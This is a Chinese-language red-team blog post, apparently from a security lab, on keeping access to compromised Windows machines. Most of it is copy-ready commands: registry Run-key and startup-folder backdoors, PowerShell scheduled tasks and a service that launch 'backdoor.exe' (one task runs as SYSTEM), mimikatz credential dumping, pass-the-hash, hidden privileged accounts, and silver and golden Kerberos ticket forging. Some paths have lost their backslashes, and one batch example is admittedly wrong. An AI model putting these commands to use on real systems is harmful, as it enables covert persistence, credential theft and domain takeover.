本文作者:麦烧玉米(Ms08067实验室红队小组成员)
我们经常会看到一个完整的攻击生命周期,大概有以下7个主要步骤:
- Recon
- Weaponisation
- Delivery
- Exploitation
- Installation
- Command & Control
- Actions on Objectives
其中第5个步骤“Installation”意思为“重新获得对系统的命令和控制(如果丢失),而不必重复步骤1到4”。当遇到一些操作不行的时候就要考虑权限问题,uac策略等!
在这篇文章中,我会介绍一些基本的持久性策略和技术!通常,触发C2通道的持久性机制存在于以下级别之一:
- 中等强制级别,在标准用户的上下文中。
- 在SYSTEM的背景下强制性水平较高。
UserLand 技术
HKCU:
HKCR: HKEY_CLASSES_ROOT HKCU: HKEY_CURRENT_USER HKLM: HKEY_LOCAL_MACHINE HKU: HKEY_USERS HKCC: HKEY_CURRENT_CONFIG
创建一个REG_SZ值 字符串值 在HKCUSoftwareMicrosoftWindows (其他的也行)
name Backdoor data C:usersCreaTeAppDataLocalTempbackdoor.exe
启动:
在用户启动文件夹中创建批处理脚本 gc--Get-Content
@ echo off start /d "C:WindowsSystem32" calc.exe pause 难受不会写bat bat的作用应该是每次开机都启动bat触发backdoor.exe
计划任务:
PS C:> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:UsersRastaAppDataLocalTempbackdoor.exe" PS C:> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta" PS C:> $P = New-ScheduledTaskPrincipal "Rasta" PS C:> $S = New-ScheduledTaskSettingsSet PS C:> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S PS C:> Register-ScheduledTask Backdoor -InputObject $D
Powershell配置文件:
Elevated技术
HKLM:
HKLM: HKEY_LOCAL_MACHINE HKLMSoftwareMicrosoftWindows name/data
服务:
创建将自动或按需启动的服务 PS C:> New-Service -Name "Backdoor" -BinaryPathName "C:WindowsTempbackdoor.exe" -Description "Nothing to see here."
计划任务:
以System运行 每天上午9点 PS C:> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:WindowsTempbackdoor.exe" PS C:> $T = New-ScheduledTaskTrigger -Daily -At 9am PS C:> $P = New-ScheduledTaskPrincipal "NT AUTHORITYSYSTEM" -RunLevel Highest PS C:> $S = New-ScheduledTaskSettingsSet PS C:> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S PS C:> Register-ScheduledTask Backdoor -InputObject $D
维持特权:
runas脚本http://xinn.org/RunasVBS.html
参考:https://blog.csdn.net/u010984552/article/details/54891615
NTLM哈希:
权限始终是一个问题 导出Server Hash mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > log.txt
sekurlsa::pth /user:Administrator /domain:GOD /ntlm:ccef208c6485269c20db2cad21734fe7 (/run:运行的程序,默认 cmd)
添加新的本地用户可以提供一种返回计算机的方法。如果将它们放在 Administrators组中太明显,请使用其他特权组,例如Remote Desktop Users,Remote Management Users或Backup Operators
白银票据:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > log.txt mimikatz "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名>/ptt" exit
参考: https://paper.tuisec.win/detail/af2385f4ed3a391 kerberos::golden /domain:GOD /sid:S-1-5-21-1218902331-2157346161- 1782232778 /target: WebServer /service: cifs /rc4:518b98ad4178a53695dc997aa02d455c /user:Administrator /ptt exit
OWA2010CN-God
黄金票据:
拿下域控 lsadump::dcsync /domain:域名 /user:krbtgt ms14068 mimikatz kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt exit
来源:Ms08067安全实验室